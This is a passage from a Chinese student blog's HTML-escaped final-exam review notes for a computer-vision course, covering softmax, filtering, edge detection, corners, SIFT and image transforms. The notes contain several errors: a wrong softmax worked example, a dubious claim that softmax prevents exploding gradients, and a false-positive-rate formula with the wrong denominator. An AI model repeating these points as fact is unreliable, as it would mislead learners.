title=\"Softmax\"\u003e\u003c/a\u003eSoftmax\u003c/h3\u003e\u003cp\u003eSoftmax函数是一种常用的激活函数,主要用于将多分类问题中的输出值转换为概率分布。在神经网络中,输出层通常使用softmax函数,将输出值转换为每个类别概率。\u003c/p\u003e\u003cp\u003eSoftmax函数的定义如下:\u003cbr\u003e$$\u003cbr\u003eSoftmax(x) \u0026#x3D; e^(x_i) \u0026#x2F; (e^(x_1) + e^(x_2) + … + e^(x_n))\u003cbr\u003e$$\u003cbr\u003e其中,x是一个K维向量,Softmax函数的输出也是一个K维向量,并且每个元素的范围都在0到1之间,并且所有元素的和为1。\u003c/p\u003e\u003cp\u003e在多分类问题中,假设输出层有K个神经元,每个神经元代表一个类别。Softmax函数的作用是将输出层的输出转换为每个类别对应的概率。例如,如果输出层输出为[1.2, 2.3, 3.1],则对应的概率为[0.21, 0.34, 0.45]。\u003c/p\u003e\u003cp\u003eSoftmax函数可以解决输出值非常大的问题,因为它可以防止输出值过大而导致的梯度消失或梯度爆炸。此外,Softmax函数还可以进行归一化,使得概率和为1,使得概率分布更加合理。\u003c/p\u003e\u003ch2 id=\"期末划重点咯\"\u003e\u003ca href=\"#期末划重点咯\" class=\"headerlink\" title=\"期末划重点咯\"\u003e\u003c/a\u003e期末划重点咯\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003esudo 老师给我分\u003c/code\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e有个压缩包,里边画红钩的都是重点\u003c/p\u003e\u003cp\u003e占比大概NN和传统方法4-6开\u003c/p\u003e\u003cul\u003e\u003cli\u003eChap 1 没啥重点\u003cul\u003e\u003cli\u003e什么是光, 可见光谱的范围这些的\u003c/li\u003e\u003cli\u003e人的视觉系统这些概念啥的\u003c/li\u003e\u003cli\u003e三色光的相关内容\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 3 重点\u003cul\u003e\u003cli\u003e灰度图(取值范围),RGB\u003c/li\u003e\u003cli\u003e图像两种基本运算\u003c/li\u003e\u003cli\u003e矩阵的运算\u003c/li\u003e\u003cli\u003e滤波概念,高斯滤波\u003c/li\u003e\u003cli\u003e卷积,点乘积,性质,计算过程strike, padding计算结果图像尺寸这些的\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 4 边缘检测\u003cul\u003e\u003cli\u003e边缘定义,为啥是边缘\u003c/li\u003e\u003cli\u003e图像的梯度\u003c/li\u003e\u003cli\u003e噪声\u003c/li\u003e\u003cli\u003e边缘检测器:sobel算子,roberts算子,prewwit算子等\u003c/li\u003e\u003cli\u003e边缘存在的问题:噪声,拟合等\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 6 图像插值\u003cul\u003e\u003cli\u003e线性插值,上下采样等,高斯金字塔\u003c/li\u003e\u003cli\u003e图像放大的插值算法(超分)\u003cul\u003e\u003cli\u003e最近邻,双线性,三次插值。不过现在都用GNN做超分了\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap ? 特征匹配\u003cul\u003e\u003cli\u003e典型特征匹配计算方法\u003c/li\u003e\u003cli\u003e特征和特真不变性:啥特征的啥不变性 SIFT特征\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 7 图像变换\u003cul\u003e\u003cli\u003e几种变换方式\u003c/li\u003e\u003cli\u003e线性变换:变灰度,变尺度等\u003c/li\u003e\u003cli\u003e按照变换剧烈程度递增:平移,旋转,仿射,投影\u003c/li\u003e\u003cli\u003e得记得变换矩阵的特征,大概得看明白\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 8 图像配准 没啥讲的\u003c/li\u003e\u003cli\u003eChap 11 单视图建模\u003cul\u003e\u003cli\u003e消失线和消失点等 得会计算\u003c/li\u003e\u003c/ul\u003e\u003cul\u003e\u003cli\u003e双试图立体视觉:视差和深度计算\u003c/li\u003e\u003cli\u003e窗口配准\u003c/li\u003e\u003cli\u003e极点极线极面\u003c/li\u003e\u003cli\u003e本质矩阵,基本矩阵是谁到谁的映射\u003c/li\u003e\u003cli\u003e深度估计\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 14 图像三维重建\u003cul\u003e\u003cli\u003e一个相机转着拍 内参矩阵不变,为了配窗\u003c/li\u003e\u003cli\u003e重复的问题\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 16 机器视觉\u003cul\u003e\u003cli\u003e激活函数和矩阵计算\u003c/li\u003e\u003cli\u003e神经网络结构\u003c/li\u003e\u003cli\u003e卷积网络的池化操作\u003c/li\u003e\u003c/ul\u003e\u003cul\u003e\u003cli\u003e反向传播:对w求导而非对x求导,而且得会算反向传播函数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 18 图像分割\u003cul\u003e\u003cli\u003e语义分割和实例分割\u003c/li\u003e\u003cli\u003e分割手段:边缘检测,聚类等方法\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 19 目标检测与分类\u003cul\u003e\u003cli\u003e输出:中心型,边界型\u003c/li\u003e\u003cli\u003e两个方法:两步法,一步法(Yolo)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 21 实操\u003cul\u003e\u003cli\u003e玩玩pytorch\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 23 神经网络前沿\u003cul\u003e\u003cli\u003eGAN\u003c/li\u003e\u003cli\u003eAttention(q,k,v)\u003cul\u003e\u003cli\u003eSoftmax\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"计算机视觉复习\"\u003e\u003ca href=\"#计算机视觉复习\" class=\"headerlink\" title=\"计算机视觉复习\"\u003e\u003c/a\u003e计算机视觉复习\u003c/h2\u003e\u003cp\u003e找到一个学长的复习笔记如下\u003c/p\u003e\u003ch3 id=\"图像和图像滤波\"\u003e\u003ca href=\"#图像和图像滤波\" class=\"headerlink\" title=\"图像和图像滤波\"\u003e\u003c/a\u003e图像和图像滤波\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e什么是滤波\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e形成一个新的图像,其像素是原始像素的组合\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e什么时候利用滤波\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u0026#x3D;\u0026#x3D;\u003cstrong\u003e增强图像:\u003c/strong\u003e\u0026#x3D;\u0026#x3D; 降噪、锐化\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e\u0026#x3D;\u0026#x3D;提取信息:\u0026#x3D;\u0026#x3D;\u003c/strong\u003e 提取边缘或轮廓\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e滤波的种类:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e线性滤波:用相邻的线性组合 (加权和)替换每个像素\u003c/p\u003e\u003cul\u003e\u003cli\u003e线性组合的系数称为权重核\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e卷积:\u003c/strong\u003e(权重核反转(水平和垂直))\u003cbr\u003e$$\u003cbr\u003eG [ i , j ] \u0026#x3D; \\sum _ { u \u0026#x3D; - k } ^ { k } \\sum _ { v \u0026#x3D; - k } ^ { k } H [ u , v ] F [ i - u , j - v ]\u003cbr\u003e$$\u003cbr\u003e记为\u003cbr\u003e$$\u003cbr\u003eG\u0026#x3D;H*F\u003cbr\u003e$$\u003cbr\u003e\u003cstrong\u003e相关:\u003c/strong\u003e\u003cbr\u003e$$\u003cbr\u003eG [ i , j ] \u0026#x3D; \\sum _ { u \u0026#x3D; - k } ^ { k } \\sum _ { v \u0026#x3D; - k } ^ { k } H [ u , v ] F [ i + u , j + v ]\u003cbr\u003e$$\u003cbr\u003e记为:\u003cbr\u003e$$\u003cbr\u003eG \u0026#x3D; H \\otimes F\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e高斯滤波\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;从图像中删除 「高频」分量 (低通滤波器)\u0026#x3D;\u0026#x3D;\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;高斯核函数\u0026#x3D;\u0026#x3D;:\u003cbr\u003e$$\u003cbr\u003eG _ { \\sigma } \u0026#x3D; \\frac { 1 } { 2 \\pi \\sigma ^ { 2 } } e ^ { - \\frac { \\left( x ^ { 2 } + y ^ { 2 } \\right) } { 2 \\sigma ^ { 2 } } }\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e滤波的应用\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e锐化滤波器:\u003cbr\u003e$$\u003cbr\u003eF + \\alpha (F-F*H)\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e阈值滤波器\u003cbr\u003e$$\u003cbr\u003eg ( m , n ) \u0026#x3D; \\left{ \\begin{array} { c c } { 255 , } \u0026amp; { f ( m , n ) \u0026gt; A } \\ { 0 } \u0026amp; { \\text { otherwise } } \\end{array} \\right.\u003cbr\u003e$$\u003cbr\u003e\u0026#x3D;\u0026#x3D;阈值滤波器不是线性滤波\u0026#x3D;\u0026#x3D;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e相关和卷积的定义和关系\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e高斯核\u003c/p\u003e\u003cul\u003e\u003cli\u003e调节哪个参数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e什么是线性滤波器\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e去燥使用什么滤波\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"边缘检测\"\u003e\u003ca href=\"#边缘检测\" class=\"headerlink\" title=\"边缘检测\"\u003e\u003c/a\u003e边缘检测\u003c/h3\u003e\u003ch4 id=\"边缘的特征\"\u003e\u003ca href=\"#边缘的特征\" class=\"headerlink\" title=\"边缘的特征\"\u003e\u003c/a\u003e边缘的特征\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e怎样通过导数来反映边缘\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u0026#x3D;\u0026#x3D;对于图像强度的一阶导数,边缘对应于导数的极值\u0026#x3D;\u0026#x3D;\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e如何计算数字图像的导数?\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e重建连续图像,然后计算导数\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e采用离散导数(有限差分): \u0026#x3D;\u0026#x3D;图像的梯度相当于两个相邻像素之间的差值\u0026#x3D;\u0026#x3D;\u003cbr\u003e$$\u003cbr\u003e\\frac { \\partial f } { \\partial x } [ x , y ] \\approx F [ x + 1 , y ] - F [ x , y ]\u003cbr\u003e$$\u003cbr\u003e可以使用线性滤波器实现\u003c/p\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;梯度的方向 \u003cstrong\u003e垂直于边缘的方向\u003c/strong\u003e\u0026#x3D;\u0026#x3D;,梯度的方向是 图像函数 f(x,y) 变化最快的方向,当图像中存在边缘时,一定有较大的梯度\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"图像梯度\"\u003e\u003ca href=\"#图像梯度\" class=\"headerlink\" title=\"图像梯度\"\u003e\u003c/a\u003e图像梯度\u003c/h4\u003e\u003cp\u003e图像梯度是图像函数在 x ,y 两个方向的导数,\u003c/p\u003e\u003cp\u003e幅值:\u003cbr\u003e$$\u003cbr\u003e| \\nabla f | \u0026#x3D; \\sqrt { \\left( \\frac { \\partial f } { \\partial x } \\right) ^ { 2 } + \\left( \\frac { \\partial f } { \\partial y } \\right) ^ { 2 } }\u003cbr\u003e$$\u003cbr\u003e方向:\u003cbr\u003e$$\u003cbr\u003e\\theta \u0026#x3D; \\tan ^ { - 1 } \\left( \\frac { \\partial f } { \\partial y } \u0026#x2F; \\frac { \\partial f } { \\partial x } \\right)\u003cbr\u003e$$\u003cbr\u003e\u003cstrong\u003e\u0026#x3D;\u0026#x3D;要计算图像梯度,首先要图像去噪,使用高斯核在图像上卷积,平滑图像\u0026#x3D;\u0026#x3D;\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e可以将两次滤波 (高斯滤波、差分滤波)合成一步实现\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190102/XhVYP5it42Yb.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003ch5 id=\"二维边缘检测使用的图像算子:\"\u003e\u003ca href=\"#二维边缘检测使用的图像算子:\" class=\"headerlink\" title=\"二维边缘检测使用的图像算子:\"\u003e\u003c/a\u003e二维边缘检测使用的图像算子:\u003c/h5\u003e\u003col\u003e\u003cli\u003e\u003cp\u003eSobel 算子\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190102/PIUiMGyShLVT.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"非最大抑制\"\u003e\u003ca href=\"#非最大抑制\" class=\"headerlink\" title=\"非最大抑制\"\u003e\u003c/a\u003e非最大抑制\u003c/h4\u003e\u003cp\u003e检查像素是否为\u003cstrong\u003e沿梯度方向的局部最大值\u003c/strong\u003e (需要进行像素差值?)\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;Canny 边缘检测器\u0026#x3D;\u0026#x3D;\u003c/p\u003e\u003col\u003e\u003cli\u003e用高斯导数滤波\u003c/li\u003e\u003cli\u003e获得梯度的幅值和方向\u003c/li\u003e\u003cli\u003e非最大抑制\u003c/li\u003e\u003cli\u003e连接与滞后阈值化:\u003cul\u003e\u003cli\u003e定义高低两个阈值\u003c/li\u003e\u003cli\u003e用\u0026#x3D;\u0026#x3D;高阈值来寻找边缘曲线的起点,用低阈值来确定后继点\u0026#x3D;\u0026#x3D;,进行连接\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003eCanny 边缘检测器的参数:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$\\sigma:$ 高斯模糊的宽度:大的 $\\sigma$ 可以检测大尺度边缘,$\\sigma$ \u0026#x3D;\u0026#x3D;越小,能检测到的细微边缘就越多\u0026#x3D;\u0026#x3D;\u003c/li\u003e\u003cli\u003e高阈值\u003c/li\u003e\u003cli\u003e低阈值\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e图像的导数\u003c/li\u003e\u003cli\u003e图像的梯度是什么 (两个方向的导数)(复制和方向)\u003c/li\u003e\u003cli\u003e去噪\u003c/li\u003e\u003cli\u003e二维边缘检测\u003cul\u003e\u003cli\u003e列举几个图像算子\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e费最大值抑制\u003c/li\u003e\u003cli\u003e边缘检测器\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"图像的插值和重采样\"\u003e\u003ca href=\"#图像的插值和重采样\" class=\"headerlink\" title=\"图像的插值和重采样\"\u003e\u003c/a\u003e图像的插值和重采样\u003c/h3\u003e\u003ch4 id=\"图像采样\"\u003e\u003ca href=\"#图像采样\" class=\"headerlink\" title=\"图像采样\"\u003e\u003c/a\u003e图像采样\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e采样率\u003c/p\u003e\u003cp\u003e\u0026#x3D;\u0026#x3D;\u003cstrong\u003e奈奎斯特采样率:\u003c/strong\u003e 采样率 \u0026gt;\u0026#x3D; 2*图像中的最大频率\u0026#x3D;\u0026#x3D;\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e若原始图像的频率过高,先对图像滤波,然后子采样\u003c/strong\u003e,构建高斯金字塔\u003c/p\u003e\u003ch4 id=\"图像插值\"\u003e\u003ca href=\"#图像插值\" class=\"headerlink\" title=\"图像插值\"\u003e\u003c/a\u003e图像插值\u003c/h4\u003e\u003cul\u003e\u003cli\u003e最近邻差值:重复 n 次\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e双线性插值\u003c/strong\u003e: 利用输入图像中与输出图像像素点映射位置最邻近的4个像素点的颜色值(或灰度值)计算输出图像中像素点的颜色值(或灰度值)\u003c/li\u003e\u003cli\u003e双三次插值:为了得到更精确的(x’,y’)的颜色值(或灰度值)g(x’,y’),就不仅需要考虑与(x’,y’)点最邻近的四个点对它的影响,还要考虑到该点周围16个相邻点的颜色值(或灰度值)对它的影响。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"角点检测\"\u003e\u003ca href=\"#角点检测\" class=\"headerlink\" title=\"角点检测\"\u003e\u003c/a\u003e角点检测\u003c/h3\u003e\u003cp\u003eHarris 角点检测:将窗口平移,比较平移前后 w 内每个像素的差异平方和(SSD)\u003cbr\u003e$$\u003cbr\u003eE ( u , v ) \u0026#x3D; \\sum _ { ( x , y ) \\in W } [ I ( x + u , y + v ) - I ( x , y ) ] ^ { 2 }\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003e\\begin{aligned} E ( u , v ) \u0026#x3D; \u0026amp; \\sum _ { ( x , y ) \\in W } [ I ( x + u , y + v ) - I ( x , y ) ] ^ { 2 } \\ \\approx \u0026amp; \\sum _ { ( x , y ) \\in W } \\left[ I ( x , y ) + I _ { x } u + I _ { y } v - I ( x , y ) \\right] ^ { 2 } \\ \\approx \u0026amp; \\sum _ { ( x , y ) \\in W } \\left[ I _ { x } u + I _ { y } v \\right] ^ { 2 }\\ \\approx Au^2+2Buv +Cv^2\\ \\end{aligned}\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003eA \u0026#x3D; \\sum _ { ( x , y ) \\in W } I _ { x } ^ { 2 } \\quad B \u0026#x3D; \\sum _ { ( x , y ) \\in W } I _ { x } I _ { y } \\quad C \u0026#x3D; \\sum _ { ( x , y ) \\in W } I _ { y } ^ { 2 }\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e算法实现:\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e计算图像在 X, Y 两个方向的梯度\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e计算两个方向上梯度的乘积\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用高斯函数对 $I_x^2,I_y^2,I_xI_y$ 进行高斯加权,生成矩阵的元素 A,B,C\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e计算每个像素的 Harris 响应值 R, 并对小于某个阈值的 R 置 0\u003cbr\u003e$$\u003cbr\u003eR \u0026#x3D; \\left{ R : \\operatorname { det } M - \\alpha ( \\operatorname { trace } M ) ^ { 2 } \u0026lt; t \\right}\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e在邻域内进行非最大抑制,局部最大值即为图像的角点\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"特征不变性\"\u003e\u003ca href=\"#特征不变性\" class=\"headerlink\" title=\"特征不变性\"\u003e\u003c/a\u003e特征不变性\u003c/h3\u003e\u003cp\u003e我们希望角点的位置对光度变换具有不变性 (图像变换之后,角点位置不变),对几何变换具有协变性 (相应位置检测到同一特征)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e不变性:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e对平移、旋转协变\u003c/li\u003e\u003cli\u003e对强度平移具有不变性,对强度缩放不具有不变性\u003c/li\u003e\u003cli\u003e对缩放不具有不变性\u003cul\u003e\u003cli\u003e需要同时在位置和尺度上查找:自动尺度选择\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e自动尺度选择:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e在高斯金字塔中使用固定大小的窗口,寻找具有局部最大值的尺度\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e斑点检测:\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e斑点是指二维图像中和周围颜色有颜色差异和灰度差异的区域,因为斑点代表的是一个区域,所以其相对于单纯的角点,具有更好的稳定性和更好的抗干扰能力.\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e核函数:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e高斯拉普拉斯:\u003cbr\u003e$$\u003cbr\u003e\\nabla ^ { 2 } g \u0026#x3D; \\frac { \\partial ^ { 2 } g } { \\partial x ^ { 2 } } + \\frac { \\partial ^ { 2 } g } { \\partial y ^ { 2 } }\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e高斯差分函数\u003cbr\u003e$$\u003cbr\u003eD o G \u0026#x3D; G ( x , y , k \\sigma ) - G ( x , y , \\sigma )\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e当 $$\\sigma \u0026#x3D; r\u0026#x2F;\\sqrt{2}$$ 时,响应最大,图像黑白反向时,响应最小,因此将高斯拉普拉斯算子响应达到峰值的 $\\sigma$ 值,称为特征尺度\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e怎么实现特征的不变\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHarris 检测的步骤\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"特征描述与匹配\"\u003e\u003ca href=\"#特征描述与匹配\" class=\"headerlink\" title=\"特征描述与匹配\"\u003e\u003c/a\u003e特征描述与匹配\u003c/h3\u003e\u003ch4 id=\"特征描述符\"\u003e\u003ca href=\"#特征描述符\" class=\"headerlink\" title=\"特征描述符\"\u003e\u003c/a\u003e特征描述符\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eMOPS\u003c/strong\u003e:\u003c/p\u003e\u003col\u003e\u003cli\u003e选取特征点周围 40*40 的方形窗口\u003c/li\u003e\u003cli\u003e缩放到 1\u0026#x2F;5 大小\u003c/li\u003e\u003cli\u003e旋转特征向量方向到水平\u003c/li\u003e\u003cli\u003e在以特征为中心的 8*8 方形窗口内采样\u003c/li\u003e\u003cli\u003e规格化 (强度减去平均值,除以标准差,均值为0,方差为1)\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003eSIFT:\u003c/strong\u003e尺度不变特征转换\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190102/52PLX111WYbj.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e在所检测的特征周围取 16*16 的窗口\u003c/li\u003e\u003cli\u003e为每个像素计算边缘方向\u003c/li\u003e\u003cli\u003e去除弱的边缘方向(设定阈值)\u003c/li\u003e\u003cli\u003e为剩余边缘方向建立直方图\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"特征匹配\"\u003e\u003ca href=\"#特征匹配\" class=\"headerlink\" title=\"特征匹配\"\u003e\u003c/a\u003e特征匹配\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e特征距离\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e更好的方法:距离比\u003c/p\u003e\u003cp\u003e$f_2$ 是 $f_1$ 在 $I_2$ 中最好的 SSD 匹配,$f_2^\\prime$ 次之\u003cbr\u003e$$\u003cbr\u003e距离比 \u0026#x3D; \\frac{||f_1-f_2||}{||f_1-f_2^\\prime||}\u003cbr\u003e$$\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e测量特征匹配的性能\u003c/p\u003e\u003cul\u003e\u003cli\u003e真正例率(TPR) (召回率) \u0026#x3D; 匹配到的真正例数 \u0026#x2F; 所有真正例数\u003c/li\u003e\u003cli\u003e假正例率 (FPR) \u0026#x3D; 匹配到的假正例数\u0026#x2F;所有真正例数\u003c/li\u003e\u003cli\u003eROC 曲线:以 FPR 为横轴,TPR 为纵轴\u003c/li\u003e\u003cli\u003eAUC:曲线下的面积,越大越好\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"变换与卷绕\"\u003e\u003ca href=\"#变换与卷绕\" class=\"headerlink\" title=\"变换与卷绕\"\u003e\u003c/a\u003e变换与卷绕\u003c/h3\u003e\u003cp\u003e什么是图像卷绕:\u003cstrong\u003e更改图像的定义域\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e常见的变换\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e平移\u003c/li\u003e\u003cli\u003e欧式变换:平移+旋转\u003c/li\u003e\u003cli\u003e相似变换:平移+旋转+等比放缩\u003c/li\u003e\u003cli\u003e仿射变换:平移+旋转+等比放缩+剪切\u003c/li\u003e\u003cli\u003e投影变换:原来平行的线不再平行,但还是保持直线性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"线性变换\"\u003e\u003ca href=\"#线性变换\" class=\"headerlink\" title=\"线性变换\"\u003e\u003c/a\u003e线性变换\u003c/h4\u003e\u003cul\u003e\u003cli\u003e等比缩放: 比例S\u003c/li\u003e\u003cli\u003e旋转角度 \u003c/li\u003e\u003cli\u003e剪切\u003c/li\u003e\u003cli\u003e镜像\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e线性变换的性质\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e原点到原点\u003c/p\u003e\u003cp\u003e直线到直线\u003c/p\u003e\u003cp\u003e平行线保持平行\u003c/p\u003e\u003cp\u003e比率被保持\u003c/p\u003e\u003cp\u003e线性变换的组合是线性变换\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e平移不是 2D 坐标上的线性变换,我们需要 \u003cstrong\u003e添加一个坐标\u003c/strong\u003e -\u0026gt; \u003cstrong\u003e齐次坐标\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"仿射变换\"\u003e\u003ca href=\"#仿射变换\" class=\"headerlink\" title=\"仿射变换\"\u003e\u003c/a\u003e仿射变换\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e任何最后一行 为 [0,0,1] 的 3·3 矩阵表示的转换称为仿射变换\u003c/strong\u003e,\u003cstrong\u003e仿射变换是线性变换和平移的组合\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e变换完成后,平面位置不变\u003c/p\u003e\u003cp\u003e基本的仿射变换:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e平移、缩放、2D 平面旋转、剪切\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://media.sumblog.cn/blog/20190105/Je0CygVwaYrM.png?imageslim\" alt=\"mark\"\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e仿射变换是线性变换 + 平移\u003c/strong\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e性质\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e原点不一定到原点\u003c/li\u003e\u003cli\u003e直线到直线\u003c/li\u003e\u003cli\u003e平行还平行\u003c/li\u003e\u003cli\u003e保持比率\u003c/li\u003e\u003cli\u003e闭包\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"透视变换、投影变换、同态映射\"\u003e\u003ca href=\"#透视变换、投影变换、同态映射\" class=\"headerlink\" title=\"透视变换、投影变换、同态映射\"\u003e\u003c/a\u003e透视变换、投影变换、同态映射\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e最后一元素固定为1 ,共有8个参数, \u003cstrong\u003e是成像平面的变换\u003c/strong\u003e,仿射变换是特例\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e原点不一定映射到原点\u003c/li\u003e\u003cli\u003e平行线不一定保持平行\u003c/li\u003e\u003cli\u003e不保持比率\u003c/li\u003e\u003cli\u003e闭包\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"卷绕\"\u003e\u003ca href=\"#卷绕\" class=\"headerlink\" title=\"卷绕\"\u003e\u003c/a\u003e卷绕\u003c/h4\u003e\u003cp\u003e卷绕有两种:\u003c/p\u003e\u003col\u003e\u003cli\u003e前向卷绕\u003c/li\u003e\u003cli\u003e反向卷绕\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e变换后的像素位置如果不是整数: 